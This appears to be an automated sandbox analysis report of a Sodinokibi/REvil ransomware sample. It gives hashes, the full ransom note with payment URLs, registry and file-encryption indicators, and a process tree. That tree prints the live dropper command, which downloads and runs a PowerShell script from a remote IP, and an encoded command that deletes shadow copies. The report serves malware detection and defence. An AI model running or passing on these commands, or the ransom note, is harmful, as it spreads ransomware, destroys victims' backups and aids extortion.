sodinokibi | ce85bc90b8156bbafb9f66b7673730dc456ac31b96a6b2a44a1e2905ed49dd16

General

Target

4HwraGxu.bat
Size

196B
MD5

94f125fc020eddcb4d532de46bae7e6f
SHA1

9a82eeac0dde9462f567e745ffe97b821ee717d6
SHA256

ce85bc90b8156bbafb9f66b7673730dc456ac31b96a6b2a44a1e2905ed49dd16
SHA512

51f5b3338698456e0d3c67d56dc18f534ba4ebda6bf1aa4f0cf2094431abca7d1aafa9df4ab6b9f76c47e45eb122b33088e5fefac658be80f2749f73fdf90ee4

Score

10^/10

ransomware sodinokibi persistence evasion spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/4HwraGxu

Extracted

Path

C:\mp62m85-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension mp62m85. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5604F8BF38983AB7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/5604F8BF38983AB7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: a4P8itYCLx0uF3GOKi26c/xCaUIfzxzWHWiaqRaTzXxJhrecp0ggfel5qER8YUto 8bUDeqBU33gaHBdqzY8VYG/gpD7BlPBey+eY1S9DcOufoTFlYXcDpn+WHZwsdQZa f4Opucvo036/jAAXMPqR7Nq3G0v8n04Dngutcb6oSwa6rrK+8deeRFu/tD2UhYPj 6vEHb5VkLDTnjHcs7NXtdX8TfhomdhgJ/rPe+qN35plET5Ro1HmajvUsoMNtF6Fg suUroDUkTg4s930pxTYKY63rKdMivbcZcydHA3CyYa5xbQAx/WZkYVZ9X4cT0Ct3 gKNz0+zThxrQ9I36yGnS7/bw4c15FvhANLyXNtD0kWDYMIM7HpRi31Fq4NMbfS+a /wq99526MxoSaPtw4ngYRdvSORqhA5p903baLEwPrzr0qRz0pFBXVYRdI38BCgL1 zSVCrMwd11yyic2VXnQ1bu8UupxshgK611TifCN0MJIKUU9gYUw4UxLwyCWNPS1y phKbDGyWs4cc8K/I85tbSXwoVsynZDtgg0MKXtysPZ7ZT/aMs5CkW9PM58wuMIbe KlC5yThh7w4098V+BdWC3A0H5sdUvu+SKFR4FkiyTMkd7t5TwLdMHHq8FlHYY68L IzTW3n+CPzD5SrFaePFwnWccCmLMZK4+QjJxhpm3nmdLjdvoL459eIsV/8SHT7Fo gfXnEm4EJerHdnseZEgeV2M6LpYrNNrn32S7KlTX0OoQfAcftfKZ5PagVTkP9DYk ztFHe5RJYSE0bxS6NbY9ZIqblIcrnxn5ao2RzNQwDayQfbKJNCmJsGYINtJ/AIe5 EOxaq4cuPSxoKmeyQb6HdjDbqPnWag9oob5dawFA9sbyncMHPe8OH8LPcmatDUdz iCSrq2a2Kkq1dURkB7yykV57DR+6kZrR0Skj5moCl3gMJ7cTrMafZooJ8izmRU7w wd02aEo201/theKjN69/HDTzuF6082g58aefKNgU9tahv66hCn/Sw+qAhkD0wdKu 7PilSzDJTkreQ/BCPdLXNAk5VeD2FO9GJSC4GmyTGLgxXDOonlVtAk8FLufoiMdx n3fsZgrEuV6pZEsoL5aM/IEPcfUR9Pb4gfk9iFKSu5d7Eumuib8iUA4G7OSTE3Up c33F9pB+gYe3pwsUQyTlfdRtLnwqi+rnl7LbzW7m7uUy7irz8HLf0LlJu2i7iOD2 9YjNTahC/MhaBoqMK23SGQ/aGTon3VesUrOXWnK9pKbEqg0wO8gPQjl99vOFrbIl QDlnX0LEL+eTRPfSpD46QEmlMIAU4ujOdir8aJWahpL5MQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5604F8BF38983AB7

http://decryptor.cc/5604F8BF38983AB7

Signatures

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\SplitRestart.bmp	powershell.exe
File created	\??\c:\program files (x86)\mp62m85-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertToFormat.ini	powershell.exe
File renamed	C:\Program Files\ConvertToFormat.ini => \??\c:\program files\ConvertToFormat.ini.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\SuspendGrant.m4a	powershell.exe
File renamed	C:\Program Files\UnpublishSync.aifc => \??\c:\program files\UnpublishSync.aifc.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\ExpandProtect.ods	powershell.exe
File renamed	C:\Program Files\EditRepair.mpv2 => \??\c:\program files\EditRepair.mpv2.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\MoveWait.tif	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.mpv2	powershell.exe
File opened for modification	\??\c:\program files\RestartUninstall.midi	powershell.exe
File renamed	C:\Program Files\MoveWait.tif => \??\c:\program files\MoveWait.tif.mp62m85	powershell.exe
File renamed	C:\Program Files\RestartUninstall.midi => \??\c:\program files\RestartUninstall.midi.mp62m85	powershell.exe
File renamed	C:\Program Files\RestartSave.xltm => \??\c:\program files\RestartSave.xltm.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.rmi	powershell.exe
File renamed	C:\Program Files\SuspendGrant.m4a => \??\c:\program files\SuspendGrant.m4a.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\DisableCopy.M2T	powershell.exe
File opened for modification	\??\c:\program files\GrantOpen.inf	powershell.exe
File opened for modification	\??\c:\program files\RestartSave.xltm	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSync.aifc	powershell.exe
File renamed	C:\Program Files\UnpublishConvertTo.rmi => \??\c:\program files\UnpublishConvertTo.rmi.mp62m85	powershell.exe
File renamed	C:\Program Files\GrantOpen.inf => \??\c:\program files\GrantOpen.inf.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\SkipApprove.xhtml	powershell.exe
File renamed	C:\Program Files\SplitRestart.bmp => \??\c:\program files\SplitRestart.bmp.mp62m85	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\mp62m85-readme.txt	powershell.exe
File renamed	C:\Program Files\ExpandProtect.ods => \??\c:\program files\ExpandProtect.ods.mp62m85	powershell.exe
File renamed	C:\Program Files\DisableCopy.M2T => \??\c:\program files\DisableCopy.M2T.mp62m85	powershell.exe
File opened for modification	\??\c:\program files\LockBackup.au	powershell.exe
File renamed	C:\Program Files\SkipApprove.xhtml => \??\c:\program files\SkipApprove.xhtml.mp62m85	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\mp62m85-readme.txt	powershell.exe
File created	\??\c:\program files\mp62m85-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\mp62m85-readme.txt	powershell.exe
File renamed	C:\Program Files\LockBackup.au => \??\c:\program files\LockBackup.au.mp62m85	powershell.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a919000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c02000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1848 wrote to memory of 1872	1848	cmd.exe	powershell.exe
PID 1872 wrote to memory of 1972	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1972	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1972	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1972	1872	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeBackupPrivilege	1396	vssvc.exe
Token: SeRestorePrivilege	1396	vssvc.exe
Token: SeAuditPrivilege	1396	vssvc.exe

Blacklisted process makes network request 132 IoCs

Processes:

powershell.exe

flow	pid	process
3	1872	powershell.exe
5	1872	powershell.exe
6	1872	powershell.exe
8	1872	powershell.exe
9	1872	powershell.exe
12	1872	powershell.exe
14	1872	powershell.exe
16	1872	powershell.exe
18	1872	powershell.exe
20	1872	powershell.exe
23	1872	powershell.exe
24	1872	powershell.exe
26	1872	powershell.exe
28	1872	powershell.exe
30	1872	powershell.exe
32	1872	powershell.exe
34	1872	powershell.exe
35	1872	powershell.exe
37	1872	powershell.exe
39	1872	powershell.exe
41	1872	powershell.exe
43	1872	powershell.exe
44	1872	powershell.exe
46	1872	powershell.exe
47	1872	powershell.exe
49	1872	powershell.exe
50	1872	powershell.exe
52	1872	powershell.exe
53	1872	powershell.exe
55	1872	powershell.exe
57	1872	powershell.exe
58	1872	powershell.exe
60	1872	powershell.exe
62	1872	powershell.exe
64	1872	powershell.exe
66	1872	powershell.exe
67	1872	powershell.exe
69	1872	powershell.exe
70	1872	powershell.exe
72	1872	powershell.exe
74	1872	powershell.exe
76	1872	powershell.exe
79	1872	powershell.exe
81	1872	powershell.exe
82	1872	powershell.exe
83	1872	powershell.exe
84	1872	powershell.exe
87	1872	powershell.exe
89	1872	powershell.exe
90	1872	powershell.exe
92	1872	powershell.exe
93	1872	powershell.exe
95	1872	powershell.exe
97	1872	powershell.exe
99	1872	powershell.exe
100	1872	powershell.exe
102	1872	powershell.exe
104	1872	powershell.exe
105	1872	powershell.exe
107	1872	powershell.exe
109	1872	powershell.exe
111	1872	powershell.exe
113	1872	powershell.exe
115	1872	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6i589j2y8pe.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1872 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1872 powershell.exe
1872 powershell.exe
1872 powershell.exe
1972 powershell.exe
1972 powershell.exe

pid	process
1872	powershell.exe

pid	process
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1972	powershell.exe
1972	powershell.exe

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exepowershell.execmd.exe

description	ioc	process
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\C:	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4HwraGxu.bat"
1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4HwraGxu');Invoke-MRESRVFEKYADT;Start-Sleep -s 10000"
2⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Discovering connected drives
PID:1872

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Discovering connected drives
PID:1972

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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